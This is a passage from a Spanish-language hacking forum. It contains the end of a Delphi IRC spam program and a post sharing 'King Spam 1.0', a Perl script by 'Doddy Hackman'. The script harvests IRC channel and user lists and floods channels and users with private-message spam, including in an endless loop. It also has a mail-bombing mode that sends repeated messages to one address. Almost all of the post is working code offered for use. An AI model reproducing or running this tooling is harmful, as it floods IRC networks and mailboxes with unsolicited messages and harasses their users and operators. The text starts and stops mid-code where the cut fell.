  146.    stream := TFileStream.Create((OpenDialog1.filename), fmShareDenyNone);
  147.    contenido.LoadFromStream(stream);
  148.  
  149.    for i := 0 to contenido.Count - 1 do
  150.    begin
  151.      file_spam.Items.Add(contenido[i]);
  152.    end;
  153.  end;
  154.  
  155. end;
  156.  
  157. procedure TForm1.Button2Click(Sender: TObject);
  158. var
  159.  seleccion: integer;
  160. begin
  161.  
  162.  canales.Items.Clear;
  163.  
  164.  buscando_canales := 'yes';
  165.  
  166.  seleccion := MessageDlg('Save Channels', mtInformation, mbYesNo, 0);
  167.  if seleccion = mrYes then
  168.  begin
  169.    control_guardar_canales := 'yes';
  170.  end;
  171.  
  172.  StatusBar1.Panels[0].Text := '[+] Searching channels ...';
  173.  StatusBar1.Update;
  174.  
  175.  // IdIRC1.Disconnect;
  176.  
  177.  IdIRC1.Nickname := nombre.Text;
  178.  IdIRC1.AltNickname := nombre.Text + '123';
  179.  IdIRC1.Username := nombre.Text;
  180.  IdIRC1.RealName := nombre.Text;
  181.  IdIRC1.Password := '';
  182.  IdIRC1.host := host.Text;
  183.  
  184.  try
  185.    begin
  186.      IdIRC1.Connect;
  187.      IdIRC1.Raw('LIST');
  188.    end;
  189.  except
  190.    begin
  191.      ShowMessage('Error connecting');
  192.    end;
  193.  end;
  194.  
  195.  if (FileExists(GetCurrentDir + '/logs/' + host.Text + '_canales.txt')) then
  196.  begin
  197.    ShellExecute(Handle, 'open', Pchar(GetCurrentDir + '/logs/' + host.Text +
  198.      '_canales.txt'), nil, nil, SW_SHOWNORMAL);
  199.  end;
  200.  
  201. end;
  202.  
  203. procedure TForm1.Button3Click(Sender: TObject);
  204. var
  205.  seleccion: integer;
  206. begin
  207.  
  208.  users.Items.Clear;
  209.  
  210.  buscando_usuarios := 'yes';
  211.  
  212.  seleccion := MessageDlg('Save users', mtInformation, mbYesNo, 0);
  213.  if seleccion = mrYes then
  214.  begin
  215.    control_guardar_users := 'yes';
  216.  end;
  217.  
  218.  StatusBar1.Panels[0].Text := '[+] Searching users ...';
  219.  StatusBar1.Update;
  220.  
  221.  // IdIRC1.Disconnect;
  222.  
  223.  IdIRC1.Nickname := nombre.Text;
  224.  IdIRC1.AltNickname := nombre.Text + '123';
  225.  IdIRC1.Username := nombre.Text;
  226.  IdIRC1.RealName := nombre.Text;
  227.  IdIRC1.Password := '';
  228.  IdIRC1.host := host.Text;
  229.  
  230.  try
  231.    begin
  232.      IdIRC1.Connect;
  233.      IdIRC1.Join(canal.Text);
  234.    end;
  235.  except
  236.    begin
  237.      ShowMessage('Error connecting');
  238.    end;
  239.  end;
  240.  
  241.  if (FileExists(GetCurrentDir + '/logs/' + canal.Text + '_usuarios.txt')) then
  242.  begin
  243.    ShellExecute(Handle, 'open', Pchar(GetCurrentDir + '/logs/' + canal.Text +
  244.      '_usuarios.txt'), nil, nil, SW_SHOWNORMAL);
  245.  end;
  246.  
  247. end;
  248.  
  249. procedure TForm1.Button4Click(Sender: TObject);
  250. begin
  251.  lista_canales.Items.Add(canal_agregar.Text);
  252. end;
  253.  
  254. procedure TForm1.Button5Click(Sender: TObject);
  255. var
  256.  i: integer;
  257.  canal_z: string;
  258. begin
  259.  
  260.  StatusBar1.Panels[0].Text := '[+] Spamming channel ...';
  261.  StatusBar1.Update;
  262.  
  263.  console1.Clear;
  264.  try
  265.    begin
  266.      IdIRC1.Nickname := nombre.Text;
  267.      IdIRC1.AltNickname := nombre.Text + '123';
  268.      IdIRC1.Username := nombre.Text;
  269.      IdIRC1.RealName := nombre.Text;
  270.      IdIRC1.Password := '';
  271.      IdIRC1.host := host.Text;
  272.      IdIRC1.Connect;
  273.  
  274.      for i := 0 to lista_canales.Count - 1 do
  275.      begin
  276.        canal_z := lista_canales.Items[i];
  277.        IdIRC1.Join(canal_z);
  278.        console1.Lines.Add('[+] Spam in channel : ' + canal_z);
  279.        IdIRC1.Say(canal_z, file_spam.Items[Random(file_spam.Count - 1) + 0]);
  280.        Sleep(2000);
  281.        IdIRC1.Part(canal_z);
  282.        Sleep(2000);
  283.      end;
  284.    end;
  285.  except
  286.    ShowMessage('Error connecting');
  287.  end;
  288.  
  289.  IdIRC1.Disconnect;
  290.  
  291.  StatusBar1.Panels[0].Text := '[+] Finished';
  292.  StatusBar1.Update;
  293.  
  294. end;
  295.  
  296. procedure TForm1.Button6Click(Sender: TObject);
  297. begin
  298.  StatusBar1.Panels[0].Text := '[+] Spamming users ...';
  299.  StatusBar1.Update;
  300.  
  301.  IdIRC1.Nickname := nombre.Text;
  302.  IdIRC1.AltNickname := nombre.Text + '123';
  303.  IdIRC1.Username := nombre.Text;
  304.  IdIRC1.RealName := nombre.Text;
  305.  IdIRC1.Password := '';
  306.  IdIRC1.host := host.Text;
  307.  
  308.  try
  309.    begin
  310.      IdIRC1.Connect;
  311.      IdIRC1.Join(canal_spam_usuarios.Text);
  312.      spam_usuarios.Interval := 10000;
  313.      spam_usuarios.Enabled := true;
  314.    end;
  315.  except
  316.    begin
  317.      ShowMessage('Error connecting');
  318.    end;
  319.  end;
  320. end;
  321.  
  322. procedure TForm1.FormCreate(Sender: TObject);
  323. begin
  324.  
  325.  if not DirectoryExists('logs') then
  326.  begin
  327.    CreateDir('logs');
  328.  end;
  329.  
  330.  OpenDialog1.InitialDir := GetCurrentDir;
  331.  
  332. end;
  333.  
  334. procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  335.  const AMessage: string);
  336. var
  337.  code: string;
  338.  regex: TPerlRegEx;
  339.  otroregex: TPerlRegEx;
  340.  canales_encontrados: string;
  341.  control: TPerlRegEx;
  342.  otrocontrol: TPerlRegEx;
  343.  i: integer;
  344.  i2: integer;
  345.  renicks: string;
  346.  listanow: TStringList;
  347.  arraynow: array of String;
  348.  
  349. begin
  350.  code := AMessage;
  351.  
  352.  regex := TPerlRegEx.Create();
  353.  otroregex := TPerlRegEx.Create();
  354.  
  355.  // console1.Lines.Add(code);
  356.  
  357.  regex.regex := '322 (.*?) (.*?) (.*?) :';
  358.  regex.Subject := code;
  359.  
  360.  if regex.Match then
  361.  begin
  362.    canales_encontrados := regex.Groups[2];
  363.    canales.Items.Add(canales_encontrados);
  364.    if (control_guardar_canales = 'yes') then
  365.    begin
  366.      savefile('logs/' + host.Text + '_canales.txt', canales_encontrados);
  367.    end;
  368.  end;
  369.  
  370.  otroregex.regex := '353 (.*) = #(.*) :(.*)';
  371.  otroregex.Subject := code;
  372.  
  373.  if otroregex.Match then
  374.  begin
  375.  
  376.    renicks := otroregex.Groups[3];
  377.  
  378.    renicks := StringReplace(renicks, nombre.Text, '', []);
  379.  
  380.    listanow := TStringList.Create;
  381.    listanow.Delimiter := ' ';
  382.    listanow.DelimitedText := renicks;
  383.  
  384.    for i2 := 0 to listanow.Count - 1 do
  385.    begin
  386.      users.Items.Add(listanow[i2]);
  387.      if (control_guardar_users = 'yes') then
  388.      begin
  389.        savefile('logs/' + canal.Text + '_usuarios.txt', listanow[i2]);
  390.      end;
  391.    end;
  392.  end;
  393.  
  394.  control := TPerlRegEx.Create();
  395.  control.regex := 'End of /LIST';
  396.  control.Subject := code;
  397.  if control.Match then
  398.  begin
  399.    if (buscando_canales = 'yes') then
  400.    begin
  401.      ShowMessage('Channels Loaded');
  402.      StatusBar1.Panels[0].Text := '[+] Channels Found';
  403.      StatusBar1.Update;
  404.      regex.Free;
  405.      IdIRC1.Disconnect;
  406.      IdIRC1.Destroy;
  407.      buscando_canales := 'no';
  408.    end;
  409.  end;
  410.  
  411.  otrocontrol := TPerlRegEx.Create();
  412.  otrocontrol.regex := 'End of /NAMES';
  413.  otrocontrol.Subject := code;
  414.  if otrocontrol.Match then
  415.  begin
  416.    if (buscando_usuarios = 'yes') then
  417.    begin
  418.      ShowMessage('Users Loaded');
  419.      StatusBar1.Panels[0].Text := '[+] Users Found';
  420.      StatusBar1.Update;
  421.      otrocontrol.Free;
  422.      IdIRC1.Part(canal.Text);
  423.      IdIRC1.Disconnect;
  424.      IdIRC1.Destroy();
  425.      buscando_usuarios := 'no';
  426.    end;
  427.  end;
  428.  
  429. end;
  430.  
  431. procedure TForm1.L1Click(Sender: TObject);
  432. var
  433.  i: integer;
  434.  contenido: TStringList;
  435.  stream: TFileStream;
  436. begin
  437.  
  438.  if OpenDialog1.Execute then
  439.  begin
  440.    contenido := TStringList.Create;
  441.    stream := TFileStream.Create((OpenDialog1.filename), fmShareDenyNone);
  442.    contenido.LoadFromStream(stream);
  443.  
  444.    for i := 0 to contenido.Count - 1 do
  445.    begin
  446.      lista_canales.Items.Add(contenido[i]);
  447.    end;
  448.  end;
  449.  
  450. end;
  451.  
  452. procedure TForm1.R1Click(Sender: TObject);
  453. begin
  454.  lista_canales.Clear;
  455. end;
  456.  
  457. procedure TForm1.spam_usuariosTimer(Sender: TObject);
  458. var
  459.  i: integer;
  460. begin
  461.  
  462.  for i := 0 to users.Count - 1 do
  463.  begin
  464.  
  465.    StatusBar1.Panels[0].Text := '[+] Spamming to ' + users.Items[i];
  466.    StatusBar1.Update;
  467.  
  468.    console2.Lines.Add('[+] Spamming to ' + users.Items[i]);
  469.  
  470.    IdIRC1.Say(users.Items[i],
  471.      file_spam.Items[Random(file_spam.Count - 1) + 0]);
  472.  
  473.  end;
  474.  
  475. end;
  476.  
  477. end.
  478.  
  479. // The End ?
  480.  

Si lo quieren bajar lo pueden hacer de aca
55  Programación / Scripting / [Perl] King Spam 1.0 en: 15 Mayo 2015, 18:25 pm
Un simple script en Perl para hacer spam en canales IRC y correos.

Tiene las siguientes opciones :

  • Spammear un canal normalmente o por siempre
  • Spammear un servidor entero
  • Spammear una lista de servidores y todos sus canales
  • Poder elegir un nick para el bot y un timeout
  • Permite spammear cuentas de correo

El codigo :

Código
  1. #!usr/bin/perl
  2. #King Spam 1.0
  3. #(C) Doddy Hackman 2015
  4. # SMTP Servers
  5. #smtp.gmail.com - 465
  6. #smtp.mail.yahoo.com -587
  7.  
  8. use IO::Socket;
  9. use Color::Output;
  10. Color::Output::Init;
  11. use Getopt::Long;
  12.  
  13. #use Win32::OLE;
  14.  
  15. my $nick_secundario    = "Cl4ptr4p";
  16. my $timeout_secundario = "5";
  17.  
  18. GetOptions(
  19.    "get_channels=s"         => \$get_channels,
  20.    "get_users=s"            => \$get_users,
  21.    "spam_channel=s"         => \$spam_channel,
  22.    "spam_channel_forever=s" => \$spam_channel_forever,
  23.    "spam_server=s"          => \$spam_server,
  24.    "spam_servers_file=s"    => \$spam_servers_file,
  25.    "spam_targets=s"         => \$spam_targets,
  26.    "spam_file=s"            => \$spam_file,
  27.    "channel=s"              => \$channel,
  28.    "port=s"                 => \$port,
  29.    "nick=s"                 => \$nick,
  30.    "savefile=s"             => \$file,
  31.    "timeout=s"              => \$timeout,
  32.    "mailbomber"             => \$mailbomber
  33. );
  34.  
  35. head();
  36.  
  37. if ($get_channels) {
  38.  
  39.    my $port_now = "";
  40.    my $nick_now = "";
  41.    my $file_now = "";
  42.  
  43.    if ( !$port ) {
  44.        $port_now = "6667";
  45.    }
  46.    else {
  47.        $port_now = $port;
  48.    }
  49.  
  50.    if ( !$nick ) {
  51.        $nick_now = $nick_secundario;
  52.    }
  53.    else {
  54.        $nick_now = $nick;
  55.    }
  56.  
  57.    if ( !$file ) {
  58.        $file_now = "";
  59.    }
  60.    else {
  61.        $file_now = $file;
  62.    }
  63.  
  64.    listar_canales( $get_channels, $port_now, $nick_now, $file_now );
  65.  
  66. }
  67. elsif ($get_users) {
  68.  
  69.    my $port_now = "";
  70.    my $nick_now = "";
  71.    my $file_now = "";
  72.  
  73.    if ( !$port ) {
  74.        $port_now = "6667";
  75.    }
  76.    else {
  77.        $port_now = $port;
  78.    }
  79.  
  80.    if ( !$nick ) {
  81.        $nick_now = $nick_secundario;
  82.    }
  83.    else {
  84.        $nick_now = $nick;
  85.    }
  86.  
  87.    printear_titulo("[+] Serching users ...\n\n");
  88.  
  89.    my @usuarios =
  90.      buscar_usuarios( $get_users, $port_now, $nick_now, $channel );
  91.  
  92.    if ( int(@usuarios) eq "0" ) {
  93.        printear("[-] Users not found\n");
  94.    }
  95.    else {
  96.        printear("[+] Users Found : ");
  97.        print int(@usuarios) . "\n\n";
  98.        for my $usuario (@usuarios) {
  99.            printear("[+] User : ");
  100.            print $usuario. "\n";
  101.            savefile( $file, $usuario );
  102.        }
  103.    }
  104.  
  105. }
  106. elsif ($spam_channel) {
  107.  
  108.    my $port_now    = "";
  109.    my $nick_now    = "";
  110.    my $timeout_now = "";
  111.  
  112.    if ( !$port ) {
  113.        $port_now = "6667";
  114.    }
  115.    else {
  116.        $port_now = $port;
  117.    }
  118.  
  119.    if ( !$nick ) {
  120.        $nick_now = $nick_secundario;
  121.    }
  122.    else {
  123.        $nick_now = $nick;
  124.    }
  125.  
  126.    if ( !$timeout ) {
  127.        $timeout_now = $timeout_secundario;
  128.    }
  129.    else {
  130.        $timeout_now = $timeout;
  131.    }
  132.  
  133.    spam_canal(
  134.        $spam_channel, $port_now,  $nick_now,
  135.        $channel,      $spam_file, $timeout_now
  136.    );
  137.  
  138. }
  139. elsif ($spam_channel_forever) {
  140.  
  141.    my $port_now    = "";
  142.    my $nick_now    = "";
  143.    my $timeout_now = "";
  144.  
  145.    if ( !$port ) {
  146.        $port_now = "6667";
  147.    }
  148.    else {
  149.        $port_now = $port;
  150.    }
  151.  
  152.    if ( !$nick ) {
  153.        $nick_now = $nick_secundario;
  154.    }
  155.    else {
  156.        $nick_now = $nick;
  157.    }
  158.  
  159.    if ( !$timeout ) {
  160.        $timeout_now = $timeout_secundario;
  161.    }
  162.    else {
  163.        $timeout_now = $timeout;
  164.    }
  165.  
  166.    spam_canal_forever( $spam_channel_forever, $port_now, $nick_now,
  167.        $channel, $spam_file, $timeout_now );
  168.  
  169. }
  170. elsif ($spam_server) {
  171.  
  172.    my $port_now    = "";
  173.    my $nick_now    = "";
  174.    my $timeout_now = "";
  175.  
  176.    if ( !$port ) {
  177.        $port_now = "6667";
  178.    }
  179.    else {
  180.        $port_now = $port;
  181.    }
  182.  
  183.    if ( !$nick ) {
  184.        $nick_now = $nick_secundario;
  185.    }
  186.    else {
  187.        $nick_now = $nick;
  188.    }
  189.  
  190.    if ( !$timeout ) {
  191.        $timeout_now = $timeout_secundario;
  192.    }
  193.    else {
  194.        $timeout_now = $timeout;
  195.    }
  196.  
  197.    my @encontrados = buscar_canales( $spam_server, $port_now, $nick_now );
  198.  
  199.    for my $encontrado (@encontrados) {
  200.        if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
  201.            my $canal    = $1;
  202.            my $cantidad = $2;
  203.  
  204.            spam_canal( $spam_server, $port_now, $nick_now, $canal, $spam_file,
  205.                $timeout_now );
  206.  
  207.        }
  208.    }
  209.  
  210. }
  211. elsif ($spam_servers_file) {
  212.  
  213.    my $port_now    = "";
  214.    my $nick_now    = "";
  215.    my $timeout_now = "";
  216.  
  217.    if ( !$port ) {
  218.        $port_now = "6667";
  219.    }
  220.    else {
  221.        $port_now = $port;
  222.    }
  223.  
  224.    if ( !$nick ) {
  225.        $nick_now = $nick_secundario;
  226.    }
  227.    else {
  228.        $nick_now = $nick;
  229.    }
  230.  
  231.    if ( !$timeout ) {
  232.        $timeout_now = $timeout_secundario;
  233.    }
  234.    else {
  235.        $timeout_now = $timeout;
  236.    }
  237.  
  238.    unless ( -f $spam_servers_file ) {
  239.        printear("[-] File not found\n\n");
  240.        copyright();
  241.    }
  242.    else {
  243.  
  244.        my @lista = loadfile($spam_servers_file);
  245.  
  246.        printear("[+] Servers Found : ");
  247.        print int(@lista) . "\n";
  248.  
  249.        printear_titulo(
  250.            "\n-------------------------------------------------------------\n"
  251.        );
  252.  
  253.        for my $spam_server (@lista) {
  254.            chomp $spam_server;
  255.            my @encontrados =
  256.              buscar_canales( $spam_server, $port_now, $nick_now );
  257.  
  258.            for my $encontrado (@encontrados) {
  259.                chomp $encontrado;
  260.                if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
  261.                    my $canal    = $1;
  262.                    my $cantidad = $2;
  263.  
  264.                    spam_canal( $spam_server, $port_now, $nick_now, $canal,
  265.                        $spam_file, $timeout_now );
  266.                    printear_titulo(
  267. "\n-------------------------------------------------------------\n"
  268.                    );
  269.                }
  270.            }
  271.        }
  272.    }
  273.  
  274. }
  275. elsif ($spam_targets) {
  276.  
  277.    my $port_now    = "";
  278.    my $nick_now    = "";
  279.    my $timeout_now = "";
  280.  
  281.    if ( !$port ) {
  282.        $port_now = "6667";
  283.    }
  284.    else {
  285.        $port_now = $port;
  286.    }
  287.  
  288.    if ( !$nick ) {
  289.        $nick_now = $nick_secundario;
  290.    }
  291.    else {
  292.        $nick_now = $nick;
  293.    }
  294.  
  295.    if ( !$timeout ) {
  296.        $timeout_now = $timeout_secundario;
  297.    }
  298.    else {
  299.        $timeout_now = $timeout;
  300.    }
  301.  
  302.    if ( -f $spam_targets ) {
  303.  
  304.        my @datos = loadfile($spam_targets);
  305.  
  306.        printear("[+] Servers Found : ");
  307.        print int(@datos) . "\n";
  308.  
  309.        printear_titulo(
  310.            "\n-------------------------------------------------------------\n"
  311.        );
  312.  
  313.        for my $dato (@datos) {
  314.            chomp $dato;
  315.            if ( $dato =~ /(.*) --- (.*)/ ) {
  316.                my $server = $1;
  317.                my $canal  = $2;
  318.  
  319.                spam_canal( $server, $port_now, $nick_now, $canal, $spam_file,
  320.                    $timeout_now );
  321.                printear_titulo(
  322. "\n-------------------------------------------------------------\n"
  323.                );
  324.  
  325.            }
  326.        }
  327.  
  328.    }
  329.    else {
  330.        printear("\n[-] File not Found\n\n");
  331.        copyright();
  332.    }
  333.  
  334. }
  335. elsif ($mailbomber) {
  336.  
  337.    printear_titulo("[+] Spam Mails : OK\n\n\n");
  338.  
  339.    printear("[+] Host : ");
  340.    chomp( my $host = <stdin> );
  341.  
  342.    printear("\n[+] Port : ");
  343.    chomp( my $puerto = <stdin> );
  344.  
  345.    printear("\n[+] Username : ");
  346.    chomp( my $username = <stdin> );
  347.  
  348.    printear("\n[+] Password : ");
  349.    chomp( my $password = <stdin> );
  350.  
  351.    printear("\n[+] Count Message : ");
  352.    chomp( my $count = <stdin> );
  353.  
  354.    printear("\n[+] To : ");
  355.    chomp( my $to = <stdin> );
  356.  
  357.    printear("\n[+] Subject : ");
  358.    chomp( my $asunto = <stdin> );
  359.  
  360.    printear("\n[+] Body : ");
  361.    chomp( my $body = <stdin> );
  362.  
  363.    printear("\n[+] File to Send : ");
  364.    chomp( my $file = <stdin> );
  365.  
  366.    printear_titulo("\n[+] Starting ...\n\n");
  367.  
  368.    for my $num ( 1 .. $count ) {
  369.        printear("[+] Sending Message : ");
  370.        print "$num\n";
  371.        sendmail(
  372.            $host,     $puerto, $username, $password, $username, $username,
  373.            $username, $to,     $asunto,   $body,     $file
  374.        );
  375.    }
  376.  
  377.    printear_titulo("\n[+] Finished\n");
  378.  
  379. }
  380. else {
  381.    sintax();
  382. }
  383.  
  384. copyright();
  385.  
  386. # Functions
  387.  
  388. sub spam_canal {
  389.  
  390.    my $hostname = $_[0];
  391.    my $port     = $_[1];
  392.    my $nombre   = $_[2];
  393.    my $canal    = $_[3];
  394.    my $archivo  = $_[4];
  395.  
  396.    printear("[+] Connecting to ");
  397.    print $hostname. "\n\n";
  398.  
  399.    my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
  400.    my $contador = 0;
  401.    my $termine  = 0;
  402.    my $timeout  = $_[5];
  403.  
  404.    my @spamnow = loadfile($archivo);
  405.  
  406.    if (
  407.        my $socket = new IO::Socket::INET(
  408.            PeerAddr => $hostname,
  409.            PeerPort => $port,
  410.            Proto    => "tcp"
  411.        )
  412.      )
  413.    {
  414.  
  415.        print $socket "NICK $nombre\r\n";
  416.        print $socket "USER $nombre 1 1 1 1\r\n";
  417.        print $socket "JOIN $canal\r\n";
  418.  
  419.        printear_titulo("[+] Users Found : ");
  420.        print int(@nicks) . "\n\n";
  421.  
  422.        while ( my $log = <$socket> ) {
  423.            chomp $log;
  424.  
  425.            if ( $log =~ /^PING(.*)$/i ) {
  426.                print $socket "PONG $1\r\n";
  427.            }
  428.  
  429.            if ( $contador eq "0" ) {
  430.                printear("[+] Spam in channel : ");
  431.                print $canal. "\n";
  432.                sleep($timeout);
  433.                print $socket "PRIVMSG $canal "
  434.                  . $spamnow[ rand(@spamnow) ] . "\r\n";
  435.                $contador++;
  436.            }
  437.  
  438.            foreach $names (@nicks) {
  439.                chomp $names;
  440.                sleep($timeout);
  441.                unless ( $nombre eq $names ) {
  442.                    $names =~ s/\@//;
  443.                    $names =~ s/\+//;
  444.                    print $socket "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
  445.                    printear("[+] Spam to user $names : ");
  446.                    print "OK\n";
  447.                }
  448.                $termine++;
  449.            }
  450.  
  451.            if ( $termine eq int(@nicks) ) {
  452.                $socket->close();
  453.                last;
  454.            }
  455.  
  456.        }
  457.    }
  458.    else {
  459.        printear("[-] Error\n");
  460.        $socket->close();
  461.    }
  462.  
  463. }
  464.  
  465. sub spam_canal_forever {
  466.  
  467.    my $hostname = $_[0];
  468.    my $port     = $_[1];
  469.    my $nombre   = $_[2];
  470.    my $canal    = $_[3];
  471.    my $archivo  = $_[4];
  472.  
  473.    printear("[+] Connecting to ");
  474.    print $hostname. "\n\n";
  475.  
  476.    my @nicks    = buscar_usuarios( $_[0], $_[1], $_[2], $_[3] );
  477.    my $contador = 0;
  478.    my $termine  = 0;
  479.    my $timeout  = $_[5];
  480.  
  481.    my @spamnow = loadfile($archivo);
  482.  
  483.    if (
  484.        my $socket = new IO::Socket::INET(
  485.            PeerAddr => $hostname,
  486.            PeerPort => $port,
  487.            Proto    => "tcp"
  488.        )
  489.      )
  490.    {
  491.  
  492.        print $socket "NICK $nombre\r\n";
  493.        print $socket "USER $nombre 1 1 1 1\r\n";
  494.        print $socket "JOIN $canal\r\n";
  495.  
  496.        printear_titulo("[+] Users Found : ");
  497.        print int(@nicks) . "\n\n";
  498.  
  499.        while ( my $log = <$socket> ) {
  500.            chomp $log;
  501.  
  502.            while (1) {
  503.                if ( $log =~ /^PING(.*)$/i ) {
  504.                    print $socket "PONG $1\r\n";
  505.                }
  506.  
  507.                if ( $contador eq "0" ) {
  508.                    printear("[+] Spam in channel : ");
  509.                    print $canal. "\n";
  510.                    sleep($timeout);
  511.                    print $socket "PRIVMSG $canal "
  512.                      . $spamnow[ rand(@spamnow) ] . "\r\n";
  513.                    $contador++;
  514.                }
  515.  
  516.                foreach $names (@nicks) {
  517.                    chomp $names;
  518.                    sleep($timeout);
  519.                    unless ( $nombre eq $names ) {
  520.                        $names =~ s/\@//;
  521.                        $names =~ s/\+//;
  522.                        print $socket
  523.                          "PRIVMSG $names $spamnow[rand(@spamnow)]\r\n";
  524.                        printear("[+] Spam to user $names : ");
  525.                        print "OK\n";
  526.                    }
  527.                    $termine++;
  528.                }
  529.                $contador = 0;
  530.                print "\n";
  531.            }
  532.  
  533.            if ( $termine eq int(@nicks) ) {
  534.                $socket->close();
  535.                last;
  536.            }
  537.  
  538.        }
  539.    }
  540.    else {
  541.        printear("[-] Error\n");
  542.        $socket->close();
  543.    }
  544.  
  545. }
  546.  
  547. sub buscar_usuarios {
  548.  
  549.    my $hostname = $_[0];
  550.    my $port     = $_[1];
  551.    my $nombre   = $_[2];
  552.    my $canal    = $_[3];
  553.  
  554.    if (
  555.        my $socket = new IO::Socket::INET(
  556.            PeerAddr => $hostname,
  557.            PeerPort => $port,
  558.            Proto    => "tcp"
  559.        )
  560.      )
  561.    {
  562.  
  563.        print $socket "NICK $nombre\r\n";
  564.        print $socket "USER $nombre 1 1 1 1\r\n";
  565.        print $socket "JOIN $canal\r\n";
  566.  
  567.        while ( my $log = <$socket> ) {
  568.  
  569.            chomp $log;
  570.  
  571.            if ( $log =~ /^PING(.*)$/i ) {
  572.                print $socket "PONG $1\r\n";
  573.            }
  574.  
  575.            if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) {
  576.                my $pro = $4;
  577.                chop $pro;
  578.                $pro =~ s/$nombre//;
  579.                my @nicks = split " ", $pro;
  580.                $socket->close();
  581.                return @nicks;
  582.            }
  583.  
  584.        }
  585.    }
  586. }
  587.  
  588. sub buscar_canales {
  589.  
  590.    my @resultado;
  591.  
  592.    my $hostname = $_[0];
  593.    my $port     = $_[1];
  594.    my $nombre   = $_[2];
  595.  
  596.    if (
  597.        my $socket = new IO::Socket::INET(
  598.            PeerAddr => $hostname,
  599.            PeerPort => $port,
  600.            Proto    => "tcp"
  601.        )
  602.      )
  603.    {
  604.  
  605.        print $socket "NICK $nombre\r\n";
  606.        print $socket "USER $nombre 1 1 1 1\r\n";
  607.        print $socket "LIST\r\n";
  608.  
  609.        while ( my $log = <$socket> ) {
  610.  
  611.            if ( $log =~ /322 (.*?) (.*?) (.*?) :/ ) {
  612.                my $canal    = $2;
  613.                my $cantidad = $3;
  614.                push( @resultado, $canal . "-soy_un_limite-" . $cantidad );
  615.            }
  616.  
  617.            if ( $log =~ /:End of \/LIST/ ) {
  618.                last;
  619.            }
  620.  
  621.        }
  622.  
  623.        $socket->close;
  624.  
  625.        return @resultado;
  626.  
  627.    }
  628.  
  629. }
  630.  
  631. sub listar_canales {
  632.  
  633.    my $host = $_[0];
  634.    my $port = $_[1];
  635.    my $nick = $_[2];
  636.    my $file = $_[3];
  637.  
  638.    printear_titulo("[+] Serching channels ...\n\n");
  639.    my @encontrados = buscar_canales( $host, $port, $nick );
  640.    if ( int(@encontrados) eq "0" or int(@encontrados) eq "1" ) {
  641.        printear_titulo("[-] Channels not found\n");
  642.    }
  643.    else {
  644.        printearf_titulo( "Channels", "Users" );
  645.        print "\n";
  646.        for my $encontrado (@encontrados) {
  647.            if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
  648.                my $canal    = $1;
  649.                my $cantidad = $2;
  650.                printearf( $canal, $cantidad );
  651.  
  652.                if ( $file ne "" ) {
  653.                    savefile( $file, $canal );
  654.                }
  655.  
  656.            }
  657.        }
  658.    }
  659.  
  660. }
  661.  
  662. sub sendmail {
  663.  
  664. ## Function Based on : http://code.activestate.com/lists/pdk/5351/
  665. ## Credits : Thanks to Phillip Richcreek and Eric Promislow
  666.  
  667.    my (
  668.        $host, $port, $username, $password, $from, $cc,
  669.        $bcc,  $to,   $asunto,   $mensaje,  $file
  670.    ) = @_;
  671.  
  672.    $correo = Win32::OLE->new('CDO.Message');
  673.  
  674.    $correo->Configuration->Fields->SetProperty( "Item",
  675.        'http://schemas.microsoft.com/cdo/configuration/sendusername',
  676.        $username );
  677.    $correo->Configuration->Fields->SetProperty( "Item",
  678.        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
  679.        $password );
  680.    $correo->Configuration->Fields->SetProperty( "Item",
  681.        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
  682.    $correo->Configuration->Fields->SetProperty( "Item",
  683.        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
  684.        $port );
  685.    $correo->Configuration->Fields->SetProperty( "Item",
  686.        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
  687.    $correo->Configuration->Fields->SetProperty( "Item",
  688.        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
  689.    $correo->Configuration->Fields->SetProperty( "Item",
  690.        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
  691.    $correo->Configuration->Fields->Update();
  692.  
  693.    if ( -f $file ) {
  694.        $correo->AddAttachment($file);
  695.    }
  696.  
  697.    $correo->{From}     = $from;
  698.    $correo->{CC}       = $cc;
  699.    $correo->{BCC}      = $bcc;
  700.    $correo->{To}       = $to;
  701.    $correo->{Subject}  = $asunto;
  702.    $correo->{TextBody} = $mensaje;
  703.    $correo->Send();
  704.  
  705. }
  706.  
  707. # More Functions
  708.  
  709. sub printearf_titulo {
  710.    cprintf( "\x0310" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
  711. }
  712.  
  713. sub printearf {
  714.    cprintf( "\x036" . "%-32s  %s" . "\x030\n", $_[0], $_[1] );
  715. }
  716.  
  717. sub printear {
  718.    cprint( "\x036" . $_[0] . "\x030" );
  719.    return "";
  720. }
  721.  
  722. sub printear_logo {
  723.    cprint( "\x037" . $_[0] . "\x030" );
  724.    return ""
  725.  
  726. }
  727.  
  728. sub printear_titulo {
  729.    cprint( "\x0310" . $_[0] . "\x030" );
  730.    return "";
  731. }
  732.  
  733. sub savefile {
  734.    open( SAVE, ">>" . $_[0] );
  735.    print SAVE $_[1] . "\n";
  736.    close SAVE;
  737. }
  738.  
  739. sub loadfile {
  740.    if ( -f $_[0] ) {
  741.        my @words;
  742.        my @r;
  743.        open( FILE, $_[0] );
  744.        @words = <FILE>;
  745.        close FILE;
  746.        for (@words) {
  747.            push( @r, $_ );
  748.        }
  749.        return (@r);
  750.    }
  751.    else {
  752.        printear("\n[-] File not found\n\n");
  753.        copyright();
  754.    }
  755. }
  756.  
  757. sub sintax {
  758.    printear("[+] Sintax : ");
  759.    print "perl $0 <option> <value>\n";
  760.    printear("\n[+] Options : \n\n");
  761.    print
  762. "-get_channels <host> -port <port> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
  763.    print
  764. "-get_users <host> -port <port> -channel <channel> -nick <nick> -savefile <file> : Get & Save Channels of a server\n";
  765.    print
  766. "-spam_channel <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel\n";
  767.    print
  768. "-spam_channel_forever <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel Forever\n";
  769.    print
